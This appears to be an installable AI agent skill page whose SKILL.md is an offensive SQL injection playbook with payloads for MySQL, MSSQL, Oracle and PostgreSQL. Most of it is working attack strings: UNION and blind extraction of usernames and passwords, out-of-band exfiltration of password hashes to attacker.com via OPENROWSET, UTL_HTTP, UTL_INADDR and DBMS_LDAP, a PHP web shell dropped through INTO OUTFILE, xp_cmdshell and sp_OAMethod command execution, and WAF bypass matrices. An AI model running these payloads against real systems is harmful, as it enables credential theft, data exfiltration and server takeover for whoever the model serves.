sqli-sql-injection

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill sqli-sql-injection
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

Advanced Reference

Also load SQLMAP_ADVANCED.md when you need:

  • SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
  • --technique, --risk/--level combinations and --second-url for second-order injection
  • --os-shell / --os-pwn OS-level exploitation via SQLMap
  • INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
  • GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
  • DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER

If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.

First-pass payload families

Situation

Start With

Why

Login or boolean branch

' or 1=1--

Fast signal on auth or conditional checks

Numeric parameter

1 or 1=1

Avoid quote dependency

ORDER BY / sorting

1,2,3 then 1 desc--

Good for structural probing

Visible SQL errors

' then DBMS-specific error probes

Error text gives DBMS clues

No visible output

time-based payloads

Stable fallback for blind targets

Heavy filtering / WAF

polyglot or whitespace-free variants

Expands parser confusion surface

Small, stable first-pass set

'

' or 1=1--

' or '1'='1'--

1 or 1=1

') or ('1'='1

'; WAITFOR DELAY '0:0:5'--

' AND SLEEP(5)--

'||(SELECT pg_sleep(5))--

1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)

' order by 1--

' union select null--

DBMS routing hints

Clue

Likely DBMS

Good Next Move

You have an error in your SQL syntax

MySQL

try SLEEP() and @@version

Microsoft OLE DB Provider

MSSQL

try WAITFOR DELAY

PG:: / PostgreSQL

PostgreSQL

try pg_sleep()

ORA- prefix

Oracle

pivot to out-of-band or XML features

SQLite errors, local apps

SQLite

focus on boolean/UNION and file-backed behavior

1. DETECTION — SUBTLE INDICATORS

Most SQLi is found by behavioral differences, not errors:

Signal

Meaning

Page loads differently with ' vs ''

String context injection point

Numeric: 1 vs 1-1 vs 2-1 returns same

Arithmetic evaluated

1=1 vs 1=2 in condition changes result

Boolean-based injection

SELECT with ORDER BY N: column count enumeration

UNION prep

Time delay: '; WAITFOR DELAY '0:0:5'--

Blind/time-based

500 error on ', 200 on ''

Unhandled exception = SQLi

Different HTTP response size

Boolean blind indicator

Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).

2. DATABASE FINGERPRINTING

-- MySQL

VERSION()              -- returns version string

@@datadir              -- data directory

@@global.secure_file_priv  -- file read restriction

-- MSSQL

@@VERSION              -- includes "Microsoft SQL Server"

DB_NAME()              -- current database

USER_NAME()            -- current user

-- Oracle

v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1

sys.database_name      -- current db (alternative)

user                   -- current Oracle user

-- PostgreSQL

version()              -- returns version

current_database()     -- current db

current_user           -- current user

Error-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.

3. UNION-BASED DATA EXTRACTION

Column count determination:

ORDER BY 1--

ORDER BY 2--

ORDER BY N--   ← until error = N-1 columns

Column type detection (NULL is safest):

UNION SELECT NULL,NULL,NULL--

UNION SELECT 'a',NULL,NULL--  ← find string column

Database-specific string concat (required when column accepts only int):

-- MySQL

CONCAT(username,0x3a,password)

-- MSSQL

username+'|'+password

-- Oracle

username||'|'||password

-- PostgreSQL

username||':'||password

4. BLIND INJECTION — INFERENCE TECHNIQUES

Boolean Blind (conditional response difference)

-- Does first char of username = 'a'?

' AND SUBSTRING(username,1,1)='a'--

' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle

' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL

' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--

Time-Based Blind (no response difference)

-- MSSQL (most reliable)

'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL

' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle

' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--

-- Oracle sleep alternative (no SLEEP):

' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL

'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL

Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.

MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)

'; INSERT INTO OPENROWSET(

  'SQLOLEDB',

  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',

  'SELECT * FROM foo'

) VALUES (@@version)--

-- Exfiltrate table data:

'; INSERT INTO OPENROWSET(

  'SQLOLEDB',

  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',

  'SELECT * FROM foo'

) SELECT TOP 1 username+':'+password FROM users--

Use port 80 or 443 to bypass firewall egress restrictions.

Oracle — UTL_HTTP (HTTP GET with data in URL path)

'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--

Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!

Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)

'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--

Attacker sees: HASH_VALUE.attacker.com DNS query → read password hash.

Oracle — UTL_SMTP / UTL_TCP

-- Email large data dumps:

UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:

UTL_TCP.OPEN_CONNECTION('attacker.com', 80)

MySQL — DNS via LOAD_FILE (Windows + UNC path)

SELECT LOAD_FILE('\\\\attacker.com\\share')

-- Triggers DNS lookup before connection attempt

-- Works on Windows hosts with outbound SMB

MySQL — INTO OUTFILE (in-band filesystem write)

SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'

-- Requirements: FILE privilege, writable web root, secure_file_priv=''

6. ESCALATION — OS COMMAND EXECUTION

MSSQL — xp_cmdshell (if enabled, or if sysadmin)

'; EXEC xp_cmdshell('whoami')--

-- Enable if disabled (requires sysadmin):

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--

'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

MySQL — UDF (User Defined Functions)

Write malicious shared library to filesystem, then CREATE FUNCTION ... SONAME.

Oracle — Java Stored Procedures

-- Create Java class:

EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');

-- Then exec OS commands via Java Runtime

7. SECOND-ORDER INJECTION

Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.

Example attack flow:

  • Register username: admin'--
  • Application safely inserts this into users table
  • Password change function fetches username from session (trusted!) and builds:
UPDATE users SET password='newpass' WHERE username='admin'--'
  • Comment strips the condition → updates admin's password

Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.

8. PARAMETERIZED QUERY BYPASS SCENARIOS

Parameterized queries do NOT prevent SQLi when:

-

Table/column names are user-controlled — params can't parameterize identifiers:

-- UNSAFE even with params:

"SELECT * FROM " + tableName + " WHERE id = ?"

Mitigation: whitelist-validate table/column names.

-

Partial parameterization — some fields concatenated, others parameterized:

"SELECT * FROM users WHERE type='" + userType + "' AND id=?"

-- userType not parameterized → injection

-

IN clause with dynamic count (common mistake in ORMs):

SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized

-

Second-order — data retrieved from DB assumed clean, re-used in query without params.

9. FILTER EVASION TECHNIQUES

Comment Injection (break keywords)

SEL/**/ECT

UN/**/ION

1 UN/**/ION ALL SEL/**/ECT NULL--

Case Variation

UnIoN SeLeCt

URL Encoding

%55NION  -- U

%53ELECT -- S

Whitespace Alternatives

SELECT/**/username/**/FROM/**/users

SELECT%09username%09FROM%09users  -- tab

SELECT%0ausername%0aFROM%0ausers  -- newline

String Construction (bypass literal-string detection)

-- MySQL concatenation without quotes:

CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:

CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:

CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)

10. DATABASE METADATA EXTRACTION

MySQL

SELECT schema_name FROM information_schema.schemata

SELECT table_name FROM information_schema.tables WHERE table_schema=database()

SELECT column_name FROM information_schema.columns WHERE table_name='users'

MSSQL

SELECT name FROM master..sysdatabases

SELECT name FROM sysobjects WHERE xtype='U'  -- user tables

SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')

Oracle

SELECT owner,table_name FROM all_tables

SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

SELECT username,password FROM dba_users  -- requires DBA

PostgreSQL

SELECT datname FROM pg_database

SELECT tablename FROM pg_tables WHERE schemaname='public'

SELECT column_name FROM information_schema.columns WHERE table_name='users'

11. STORED PROCEDURE ABUSE

MSSQL — sp_OAMethod (COM automation)

DECLARE @o INT

EXEC sp_OACreate 'wscript.shell', @o OUT

EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'

Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)

SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

12. QUICK REFERENCE — INJECTION TEST STRINGS

'                          -- break string context

''                         -- escaped quote (test handling)

' OR 1=1--                 -- auth bypass attempt

' OR 'a'='a               -- alternate auth bypass

'; SELECT 1--             -- statement termination

' UNION SELECT NULL--     -- UNION test

' AND 1=1--               -- boolean true

' AND 1=2--               -- boolean false (different response → injectable)

1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay

1 AND SLEEP(3)--          -- MySQL time delay

1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay

13. WAF BYPASS MATRIX

Technique

Blocked

Bypass

Space filtered

SELECT * FROM

SELECT/**/*//**/FROM, SELECT%0a*%0aFROM

Comma filtered

UNION SELECT 1,2,3

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

Quote filtered

'admin'

0x61646D696E (hex), CHAR(97,100,109,105,110)

OR/AND filtered

OR 1=1

||1=1, &#x26;&#x26;1=1, DIV 0

= filtered

id=1

id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1

SELECT filtered

Use handler (MySQL), PREPARE+hex, or stacked queries

information_schema filtered

mysql.innodb_table_stats, sys.schema_table_statistics

Additional WAF bypass patterns:

  • Polyglot: SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
  • Routed injection: 1' UNION SELECT 0x(inner_payload_hex)-- - where inner payload is another full query hex-encoded
  • Second Order: inject into storage, trigger when data is used in another query later
  • PDO emulated prepare: when PDO::ATTR_EMULATE_PREPARES=true, stacked queries work even with parameterized-looking code

14. WAF BYPASS MATRIX

No-Space Bypass

SELECT/**/username/**/FROM/**/users

SELECT(username)FROM(users)

No-Comma Bypass

-- UNION with JOIN instead of comma:

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)

-- LIMIT alternative: LIMIT 1 OFFSET 0

Polyglot Injection

SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed Injection

-- First query returns string used as input to second query:

' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--

-- The returned value becomes part of another SQL context

Second-Order Injection

-- Step 1: Register username: admin'--

-- Step 2: Trigger password change (uses stored username in SQL)

-- UPDATE users SET password='new' WHERE username='admin'--'

PDO / Prepared Statement Edge Cases

// Unsafe even with PDO when query structure is dynamic:

$pdo->query("SELECT * FROM " . $_GET['table']);

// Or when using emulated prepares with multi-query:

$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

Entry Point Detection (Unicode tricks)

U+02BA ʺ (modifier letter double prime) → "

U+02B9 ʹ (modifier letter prime) → '

%%2727 → %27 → '
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card